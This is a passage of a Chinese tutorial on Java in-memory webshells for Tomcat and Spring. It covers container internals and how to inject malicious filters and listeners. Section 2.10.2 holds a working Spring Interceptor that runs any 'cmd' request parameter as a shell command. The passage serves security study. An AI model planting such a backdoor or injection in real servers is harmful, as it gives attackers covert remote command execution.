本文目录:
- 一、前言
- 二、前置知识
- 2.1 Servlet容器与Engine、Host、Context和Wrapper
- 2.2 编写一个简单的servlet
- 2.3 从代码层面看servlet初始化与装载流程
- 2.3.1 servlet初始化流程分析
- 2.3.2 servlet装载流程分析
- 2.4 Filter容器与FilterDefs、FilterConfigs、FilterMaps、FilterChain
- 2.5 编写一个简单的Filter
- 2.6 从代码层面分析Filter运行的整体流程
- 2.7 Listener简单介绍
- 2.8 编写一个简单的Listener(ServletRequestListener)
- 2.9 从代码层面分析Listener运行的整体流程
- 2.10 简单的spring项目搭建
- 2.10.1 编写一个简单的Spring Controller
- 2.10.2 编写一个简单的Spring Interceptor
- 2.10.3 编写一个简单的Spring WebFlux的Demo(基于Netty)
- 2.11 Spring MVC介绍
- 2.11.1 Spring MVC九大组件
- 2.11.2 简单的源码分析
- 2.11.2.1 九大组件的初始化
- 2.11.2.2 url和Controller的关系的建立
- 2.11.2.3 Spring Interceptor引入与执行流程分析
- 2.12 Spring WebFlux介绍与代码调试分析
- 2.12.1 什么是Mono?
- 2.12.2 什么是Flux?
- 2.12.3 Spring WebFlux启动过程分析
- 2.12.4 Spring WebFlux请求处理过程分析
- 2.12.5 Spring WebFlux过滤器WebFilter运行过程分析
- 2.13 Tomcat Valve介绍与运行过程分析
- 2.13.1 Valve与Pipeline
- 2.13.2 编写一个简单Tomcat Valve的demo
- 2.13.3 Tomcat Valve打入内存马思路分析
- 2.14 Tomcat Upgrade介绍与打入内存马思路分析
- 2.14.1 编写一个简单的Tomcat Upgrade的demo
- 2.14.1.1 利用SpringBoot搭建
- 2.14.1.2 利用Tomcat搭建
- 2.14.2 Tomcat Upgrade内存马介绍与相关代码调试分析
- 2.15 Tomcat Executor内存马介绍与打入内存马思路分析
- 2.15.1
- 2.15.2 Tomcat Executor内存马介绍与代码调试分析
- 2.15.2.1 Endpoint五大组件
- 2.15.2.2 Endpoint分类
- 2.15.2.3 Executor相关代码分析
- 三、传统Web型内存马
- 3.1 Servlet内存马
- 3.1.1 简单的servlet内存马demo编写
- 3.1.2 servlet内存马demo代码分析
- 3.1.3 关于StandardContext、ApplicationContext、ServletContext的理解
- 3.2 Filter内存马
- 3.2.1 简单的filter内存马demo编写
- 3.2.2 servlet内存马demo代码分析
- 3.2.3 tomcat6下filter内存马的编写
- 3.3 Listener内存马
- 3.3.1 简单的Listener内存马demo编写
- 3.3.2 Listener内存马demo代码分析
- 四、Spring MVC框架型内存马
- 4.1 Spring Controller型内存马
- 4.1.1 简单的Spring Controller型内存马demo编写
- 4.1.2 Spring Controller型内存马demo代码分析
- 4.2 Spring Interceptor型内存马
- 4.3 Spring WebFlux内存马
- 4.3.1 简单的Spring WebFlux内存马demo编写
- 4.3.2 Spring WebFlux内存马demo代码分析
- 五、中间件型内存马
- 5.1 Tomcat Valve型内存马
- 5.2 Tomcat Upgrade内存马
- 5.3 Tomcat Executor内存马
- 六、致谢
一、前言
之前写的零基础学Fastjson
的文章反响很不错,很多师傅在公众号后台和我的微信私聊我表示感谢,其实也没啥,大家都是零基础过来的。网上的文章多而杂,并且只有少部分文章是配图清楚、文字描述清晰的,很多时候新手学着学着可能就因为作者的某一个地方没有描述清楚而不知其所指,非常痛苦;亦或是文章面向对象不同,前置知识不扎实导致很多东西无法理解,这些痛点我都曾经历过。但是随着看过的代码逐渐增多,见识逐渐丰富,调试的次数越多,对各种问题的处理就会越得心应手。
本文所讨论的Java
内存马是Java
安全中的一个不可或缺的板块,它内容丰富绮丽,研究起来让人着迷,沉沦其中流连忘返。我参考了su18
师傅一年多以前发表在Goby
社区的这篇文章(https://nosec.org/home/detail/5049.html
)中给出的分类方式,把整个零基础掌握java
内存马系列分成了以下几个部分:传统web
型、spring
系列框架型、中间件型、其他内存马(Websocket/Jsp/线程型/RMI
)、Agent
型内存马、实战内存马打入(Jetty
/Weblogic
/Shiro
/Struts2
/GlassFish
/xxl-job
...)和内存马。
本文已开源至Github
:
好了,让我们闲话少叙,就此开始。
二、前置知识
本篇文章除特殊说明外,使用的是jdk1.8.0_202
+ tomcat 9.0.85
,后者下载地址为:
https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.85/bin/apache-tomcat-9.0.85-windows-x64.zip。
2.1 Servlet容器与Engine、Host、Context和Wrapper
这部分我找了好久,终于在一大堆高深/垃圾的文章中邂逅了一篇写的还算简明扼要易于理解的文章。
原文地址:https://www.maishuren.top/archives/tomcat-zhong-servlet-rong-qi-de-she-ji-yuan-li
这里组合引用其原文,简单概括,就是:
Tomcat
设计了四种容器,分别是Engine
、Host
、Context
和Wrapper
,其关系如下:
这一点可以从Tomcat
的配置文件server.xml
中看出来。
此时,设想这样一个场景:我们此时要访问https://manage.xxx.com:8080/user/list
,那tomcat
是如何实现请求定位到具体的servlet
的呢?为此tomcat
设计了Mapper
,其中保存了容器组件与访问路径的映射关系。
然后就开始四步走:
- 根据协议和端口号选定
Service
和Engine
。
我们知道Tomcat
的每个连接器都监听不同的端口,比如Tomcat
默认的HTTP
连接器监听8080
端口、默认的AJP
连接器监听8009
端口。上面例子中的URL访问的是8080
端口,因此这个请求会被HTTP
连接器接收,而一个连接器是属于一个Service
组件的,这样Service
组件就确定了。我们还知道一个Service
组件里除了有多个连接器,还有一个容器组件,具体来说就是一个Engine
容器,因此Service
确定了也就意味着Engine
也确定了。
- 根据域名选定
Host
。
Service
和Engine
确定后,Mapper
组件通过url
中的域名去查找相应的Host
容器,比如例子中的url
访问的域名是manage.xxx.com
,因此Mapper
会找到Host1
这个容器。
- 根据
url
路径找到Context
组件。
Host
确定以后,Mapper
根据url
的路径来匹配相应的Web
应用的路径,比如例子中访问的是/user
,因此找到了Context1
这个Context
容器。
- 根据
url
路径找到Wrapper
(Servlet
)。
Context
确定后,Mapper
再根据web.xml
中配置的Servlet
映射路径来找到具体的Wrapper
和Servlet
,例如这里的Wrapper1
的/list
。
这里的Context
翻译过来就是上下文,它包括servlet
运行的基本环境;这里的Wrapper
翻译过来就是包装器,它负责管理一个servlet
,包括其装载、初始化、执行和资源回收。
关于上图中的连接器的设计,可以继续参考该作者的博文:
写到后面之后我又发现了一篇写的极佳的文章,贴在这儿供大家参考,讲的是关于tomcat
架构的原理解析:
https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09
2.2 编写一个简单的servlet
pom.xml
文件如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>servletMemoryShell</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
</dependency>
</dependencies>
</project>
同步下依赖:
TestServlet.java
代码如下:
package org.example;
import java.io.IOException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.getWriter().write("hello world");
}
}
然后配置项目运行所需的tomcat
环境:
然后配置artifacts
,直接点击fix
:
然后添加web
模块:
运行之后,访问http://localhost:8080/testServlet/test:
2.3 从代码层面看servlet初始化与装载流程
主要参考文章:
我们这里不采用我们下载的tomcat
来运行我们的项目,我们使用嵌入式tomcat
也就是所谓的tomcat-embed-core
。关于动态调试,我是图省事,直接用tomcat-embed-core
,你当然也可以调试直接调试tomcat
源码,环境搭建方法可以参考Skay
师傅的文章:
我们重开一个项目,文件代码如下:
pom.xml
:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>servletMemoryShell</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.83</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>9.0.83</version>
<scope>compile</scope>
</dependency>
</dependencies>
</project>
Main.java
:
package org.example;
import org.apache.catalina.Context;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.startup.Tomcat;
import java.io.File;
public class Main {
public static void main(String[] args) throws LifecycleException {
Tomcat tomcat = new Tomcat();
tomcat.getConnector(); //tomcat 9.0以上需要加这行代码,参考:https://blog.csdn.net/qq_42944840/article/details/116349603
Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());
Tomcat.addServlet(context, "helloServlet", new HelloServlet());
context.addServletMappingDecoded("/hello", "helloServlet");
tomcat.start();
tomcat.getServer().await();
}
}
HelloServlet.java
:
package org.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("Hello, World!");
out.println("</body></html>");
}
}
2.3.1 servlet初始化流程分析
我们在org.apache.catalina.core.StandardWrapper#setServletClass
处下断点调试:
我们尝试按Ctrl+左键
追踪它的上层调用位置,但是提示我们找不到,需要按两次Ctrl+Alt+F7
:
然后就可以看到,上层调用位置位于org.apache.catalina.startup.ContextConfig#configureContext
:
接下来我们详细看下面这段代码:
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;
if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}
wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
首先通过webxml.getServlets()
获取的所有Servlet
定义,并建立循环;然后创建一个Wrapper
对象,并设置Servlet
的加载顺序、是否启用(即获取</load-on-startup>
标签的值)、Servlet
的名称等基本属性;接着遍历Servlet
的初始化参数并设置到Wrapper
中,并处理安全角色引用、将角色和对应链接添加到Wrapper
中;如果Servlet
定义中包含文件上传配置,则根据配置信息设置MultipartConfigElement
;设置Servlet
是否支持异步操作;通过context.addChild(wrapper);
将配置好的Wrapper
添加到Context
中,完成Servlet
的初始化过程。
上面大的for
循环中嵌套的最后一个for
循环则负责处理Servlet
的url
映射,将Servlet
的url
与Servlet
名称关联起来。
也就是说,Servlet
的初始化主要经历以下六个步骤:
- 创建
Wapper
对象; - 设置
Servlet
的LoadOnStartUp
的值; - 设置
Servlet
的名称; - 设置
Servlet
的class
; - 将配置好的
Wrapper
添加到Context
中; - 将
url
和servlet
类做映射
2.3.2 servlet装载流程分析
我们在org.apache.catalina.core.StandardWrapper#loadServlet
这里打下断点进行调试,重点关注org.apache.catalina.core.StandardContext#startInternal
:
可以看到,装载顺序为Listener
-->Filter
-->Servlet
:
可以看到,上面红框中的代码都调用了org.apache.catalina.core.StandardContext#loadOnStartup
,Ctrl+左键
跟进该方法,代码如下:
public boolean loadOnStartup(Container children[]) {
TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
}
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(
sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
StandardWrapper.getRootCause(e));
if (getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;
}
可以看到,这段代码先是创建一个TreeMap
,然后遍历传入的Container
数组,将每个Servlet
的loadOnStartup
值作为键,将对应的Wrapper
对象存储在相应的列表中;如果这个loadOnStartup
值是负数,除非你请求访问它,否则就不会加载;如果是非负数,那么就按照这个loadOnStartup
的升序的顺序来加载。
2.4 Filter容器与FilterDefs、FilterConfigs、FilterMaps、FilterChain
开头先明确一点,就是Filter
容器是用于对请求和响应进行过滤和处理的,以下这张图是根据Skay
师傅文章中的图片重制的:
从上图可以看出,这个filter
就是一个关卡,客户端的请求在经过filter
之后才会到Servlet
,那么如果我们动态创建一个filter
并且将其放在最前面,我们的filter
就会最先执行,当我们在filter
中添加恶意代码,就可以实现命令执行,形成内存马。
这些名词其实很容易理解,首先,需要定义过滤器FilterDef
,存放这些FilterDef
的数组被称为FilterDefs
,每个FilterDef
定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class
等,这一点可以从org/apache/tomcat/util/descriptor/web/FilterDef.java
的代码中看出来;然后是FilterDefs
,它只是过滤器的抽象定义,而FilterConfigs
则是这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求;紧接着是FilterMaps
,它是用于将FilterConfigs
映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs
,从而确定要执行的过滤器链;而FilterChain
是由多个FilterConfigs
组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain
中的顺序依次执行每个过滤器,对请求进行过滤和处理。
2.5 编写一个简单的Filter
我们继续用我们之前在2.2
中搭建的环境,添加TestFilter.java
:
package org.example;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/test")
public class TestFilter implements Filter {
public void init(FilterConfig filterConfig) {
System.out.println("[*] Filter初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[*] Filter执行过滤操作");
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
System.out.println("[*] Filter已销毁");
}
}
跑起来之后,控制台输出[*] Filter初始化创建
,当我们访问/test
路由的时候,控制台继续输出[*] Filter执行过滤操作
,当我们结束tomcat
的时候,会触发destroy
方法,从而输出[*] Filter已销毁
:
2.6 从代码层面分析Filter运行的整体流程
我们在上面的demo
中的doFilter
函数这里下断点进行调试:
跟进org.apache.catalina.core.StandardWrapperValve#invoke
:
filterChain.doFilter(request.getRequest(), response.getResponse());
继续跟进变量filterChain
,找到定义处的代码:
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
查看该方法(org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
):
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
if (servlet == null) {
return null;
} else {
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request)request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
FilterMap[] var10 = filterMaps;
int var11 = filterMaps.length;
int var12;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
var10 = filterMaps;
var11 = filterMaps.length;
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
return filterChain;
} else {
return filterChain;
}
}
}
我们在该方法和下面定义filterMaps
那行下断点进行调试,可以看到,这段代码先是判断servlet
是否为空,如果是就表示没有有效的servlet
,无法创建过滤器链;然后根据传入的ServletRequest
的类型来分类处理,如果是Request
类型,并且启用了安全性,那么就创建一个新的ApplicationFilterChain
,如果没启用,那么就尝试从请求中获取现有的过滤器链,如果不存在那么就创建一个新的;接着是设置过滤器链的Servlet
和异步支持属性,这个没啥说的;关键点在于后面从Wrapper
中获取父级上下文(StandardContext
),然后获取该上下文中定义的过滤器映射数组(FilterMap
);最后遍历过滤器映射数组,根据请求的DispatcherType
和请求路径匹配过滤器,并将匹配的过滤器添加到过滤器链中,最终返回创建或更新后的过滤器链。
从上面的两张图我们也可以清晰地看到filterConfig
、filterMap
、FilterDef
的结构。
跟进刚才的filterChain.doFilter
方法,位于org.apache.catalina.core.ApplicationFilterChain#doFilter
:
可以看到都是调用了org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
方法,在这个方法中会依次拿到filterConfig
和filter
:
好了,大致过程到这里就结束了,但是我们的目的是打入内存马,也就是要动态地创建一个Filter
,回顾之前的调试过程,我们发现在createFilterChain
那个函数里面有两个关键点:
也就是这里我用箭头指出来的org.apache.catalina.core.StandardContext#findFilterMaps
和org.apache.catalina.core.StandardContext#findFilterConfig
。
二者的实现代码粘贴如下:
public FilterMap[] findFilterMaps() {
return filterMaps.asArray();
}
public FilterConfig findFilterConfig(String name) {
synchronized (filterDefs) {
return filterConfigs.get(name);
}
}
也就是说我们只需要查找到现有的上下文,然后往里面插入我们自定义的恶意过滤器映射和过滤器配置,就可以实现动态添加过滤器了。
那也就是说,我们现在的问题就转化为如何添加filterMap
和filterConfig
。我们搜索关键词addFilterMap
,即可看到在StandardContext
中有两个相关的方法:
注释里面也说的很清楚,addFilterMap
是在一组映射末尾添加新的我们自定义的新映射;而addFilterMapBefore
则会自动把我们创建的filterMap
丢到第一位去,无需再手动排序,这正是我们需要的呀!
可以看到,上面的addFilterMapBefore
函数中第一步是先执行org.apache.catalina.core.StandardContext#validateFilterMap
这个函数,点击去看看:
发现我们需要保证它在根据filterName
找filterDef
的时候,得能找到,也就是说,我们还得自定义filterDef
并把它加入到filterDefs
,不过这个也很简单,也有对应的方法,也就是org.apache.catalina.core.StandardContext#addFilterDef
:
搞定,继续去看filterConfig
如何添加。经过搜索发现,不存在类似上面的addFilterConfig
这种方法:
但是有filterStart
和filterStop
这两个方法:
那也就是说,我们只能通过反射的方法去获取相关属性并添加进去。
2.7 Listener简单介绍
由上图可知,Listener
是最先被加载的,所以根据前面我们学到的思路,我动态注册一个恶意的Listener
,就又可以形成一种内存马了。
在tomcat
中,常见的Listener
有以下几种:
ServletContextListener
,用来监听整个Web
应用程序的启动和关闭事件,需要实现contextInitialized
和contextDestroyed
这两个方法;ServletRequestListener
,用来监听HTTP
请求的创建和销毁事件,需要实现requestInitialized
和requestDestroyed
这两个方法;HttpSessionListener
,用来监听HTTP
会话的创建和销毁事件,需要实现sessionCreated
和sessionDestroyed
这两个方法;HttpSessionAttributeListener
,监听HTTP
会话属性的添加、删除和替换事件,需要实现attributeAdded
、attributeRemoved
和attributeReplaced
这三个方法。
很明显,ServletRequestListener
是最适合做内存马的,因为它只要访问服务就能触发操作。
2.8 编写一个简单的Listener(ServletRequestListener)
我们继续用我们之前在2.2
中搭建的环境,替换掉之前的TestFilter.java
,重新写一个TestListener.java
:
package org.example;
import javax.servlet.*;
import javax.servlet.annotation.WebListener;
@WebListener("/test")
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("[+] destroy TestListener");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("[+] initial TestListener");
}
}
运行结果:
2.9 从代码层面分析Listener运行的整体流程
我们在如图所示的两个地方下断点调试:
往下翻可以看到org.apache.catalina.core.StandardContext#listenerStart
方法的调用:
代码写的通俗易懂,主要有两个事情要干,一是通过findApplicationListeners
找到这些Listerner
的名字;二是实例化这些listener
:
接着就是分类摆放,我们需要的ServletRequestListener
被放在了eventListeners
里面:
分类摆放完了之后,干这样一件事情:
eventListeners.addAll(Arrays.asList(getApplicationEventListeners()));
Arrays.asList(...)
好理解,意思就是将数组转换为列表;eventListeners.addAll(...)
也好理解,意思就是将括号里面的内容添加到之前实例化的监听器列表 eventListeners
中。关于括号里边的org.apache.catalina.core.StandardContext#getApplicationEventListeners
这个方法,我们点进去看,代码如下:
@Override
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}
也很简单明了,就是把applicationEventListenersList
转换成一个包含任意类型对象的数组,也就是一个可能包含各种类型的应用程序事件监听器的数组。
那这总结起来就一句话,就是Listener
有两个来源,一是根据web.xml
文件或者@WebListener
注解实例化得到的Listener
;二是applicationEventListenersList
中的Listener
。前面的我们肯定没法控制,因为这是给开发者用的,不是给黑客用的哈哈哈。那就找找看,有没有类似之前我们用到的addFilterConfig
这种函数呢?当然是有的,ctrl+左键
往上找:
方法名字叫做addApplicationEventListener
,在StandardContext.java
里面,代码如下,完美符合我们的需求,真是太哇塞了:
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
2.10 简单的spring项目搭建
新建个项目,设置Server URL
为https://start.aliyun.com/
:
等待依赖解析完成:
这里给我们准备了一个示例,我们可以直接跑起来:
2.10.1 编写一个简单的Spring Controller
package org.example.springcontrollermemoryshellexample.demos.web;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class TestController {
@ResponseBody
@RequestMapping("/")
public String test(){
return "hello world";
}
}
非常地简单:
2.10.2 编写一个简单的Spring Interceptor
TestInterceptor.java
:
package org.example.springcontrollermemoryshellexample.demos.web;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if(cmd != null){
try {
java.io.PrintWriter writer = response.getWriter();
String output = "";
ProcessBuilder processBuilder;
if(System.getProperty("os.name").toLowerCase().contains("win")){
processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
}else{
processBuilder = new ProcessBuilder("/bin/sh", "-c", cmd);
}
java.util.Scanner inputScanner = new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");
output = inputScanner.hasNext() ? inputScanner.next(): output;
inputScanner.close();
writer.write(output);
writer.flush();
writer.close();
} catch (Exception ignored){}
return false;
}
return true;
}
}
WebConfig.java
:
package org.example.springcontrollermemoryshellexample.demos.web;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");
}
}
Controller
就是之前写的TestController.java
,运行后访问http://127.0.0.1:8080/?cmd=whoami
:
2.10.3 编写一个简单的Spring WebFlux的Demo(基于Netty)
我们先聊聊怎么自己写一个Spring WebFlux
框架的demo
。
这里我们新建一个SpringBoot
项目,取名WebFluxMemoryShellDemo
:
这里选择Spring Reactive Web
:
接着新建两个文件,这里为了方便,我把这两个文件放到hello
文件夹下。
GreetingHandler.java
:
package org.example.webfluxmemoryshelldemo.hello;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Component;
import org.springframework.web.reactive.function.BodyInserters;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
@Component
public class GreetingHandler {
public Mono<ServerResponse> hello(ServerRequest request) {
return ServerResponse.ok().contentType(MediaType.TEXT_PLAIN).body(BodyInserters.fromValue("Hello, Spring!"));
}
}
GreetingRouter.java
:
package org.example.webfluxmemoryshelldemo.hello;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.MediaType;
import org.springframework.web.reactive.function.server.*;
@Configuration
public class GreetingRouter {
@Bean
public RouterFunction<ServerResponse> route(GreetingHandler greetingHandler) {
return RouterFunctions.route(RequestPredicates.GET("/hello").and(RequestPredicates.accept(MediaType.TEXT_PLAIN)), greetingHandler::hello);
}
}
我们可以新建main/resources
文件夹,然后新建application.properties
,通过server.port
来控制netty
服务的端口:
接着我们运行:
这里我从github
上找了一个项目,也可以很好地帮助我们理解这个框架是如何使用的,它采用的是Netty
+SpringWebFlux
:
随便访问个路由。例如http://127.0.0.1:9191/customers/stream
:
2.11 Spring MVC介绍
如果想要深入理解Spring MVC
框架型内存马,那么对Spring MVC
的基础了解是非常必要的,本节就从源码层面和大家简单聊聊这个框架。
首先引用《Spring in Action
》上的一张图(这里我重制了一下)来了解Spring MVC
的核心组件和大致处理流程(不过我在第五版书上貌似没有找到这张图,有找到的小伙伴可以公众号后台私信我):
可以看到,这里有一堆名词,我们一一来看:
DispatcherServlet
是前端控制器,它负责接收Request
并将Request
转发给对应的处理组件;HandlerMapping
负责完成url
到Controller
映射,可以通过它来找到对应的处理Request
的Controller
;Controller
处理Request
,并返回ModelAndVIew
对象,ModelAndView
是封装结果视图的组件;- ④~⑦表示视图解析器解析
ModelAndView
对象并返回对应的视图给客户端。
还有一个概念需要了解,就是IOC
容器,因为这个名词会在本文后面的内容中提及。
IOC
(控制反转)容器是Spring
框架的核心概念之一,它的基本思想是将对象的创建、组装、管理等控制权从应用程序代码反转到容器,使得应用程序组件无需直接管理它们的依赖关系。IOC
容器主要负责对象的创建、依赖注入、生命周期管理和配置管理等。Spring
框架提供了多种实现IOC
容器的方式,下面讲两种常见的:
-
BeanFactory
:Spring
的最基本的IOC
容器,提供了基本的IOC
功能,只有在第一次请求时才创建对象。 -
ApplicationContext
:这是BeanFactory
的扩展,提供了更多的企业级功能。ApplicationContext
在容器启动时就预加载并初始化所有的单例对象,这样就可以提供更快的访问速度。
2.11.1 Spring MVC九大组件
这九大组件需要有个印象:
DispatcherServlet
(派发Servlet
):负责将请求分发给其他组件,是整个Spring MVC
流程的核心;
HandlerMapping
(处理器映射):用于确定请求的处理器(Controller
);
HandlerAdapter
(处理器适配器):将请求映射到合适的处理器方法,负责执行处理器方法;
HandlerInterceptor
(处理器拦截器):允许对处理器的执行过程进行拦截和干预;
Controller
(控制器):处理用户请求并返回适当的模型和视图;
ModelAndView
(模型和视图):封装了处理器方法的执行结果,包括模型数据和视图信息;
ViewResolver
(视图解析器):用于将逻辑视图名称解析为具体的视图对象;
LocaleResolver
(区域解析器):处理区域信息,用于国际化;
ThemeResolver
(主题解析器):用于解析Web
应用的主题,实现界面主题的切换。
2.11.2 简单的源码分析
2.11.2.1 九大组件的初始化
首先是找到org.springframework.web.servlet.DispatcherServlet
,可以看到里面有很多组件的定义和初始化函数以及一些其他的函数:
但是没有init()
函数,我们翻看其父类FrameworkServlet
的父类org.springframework.web.servlet.HttpServletBean
的时候发现有init
函数:
代码如下:
@Override
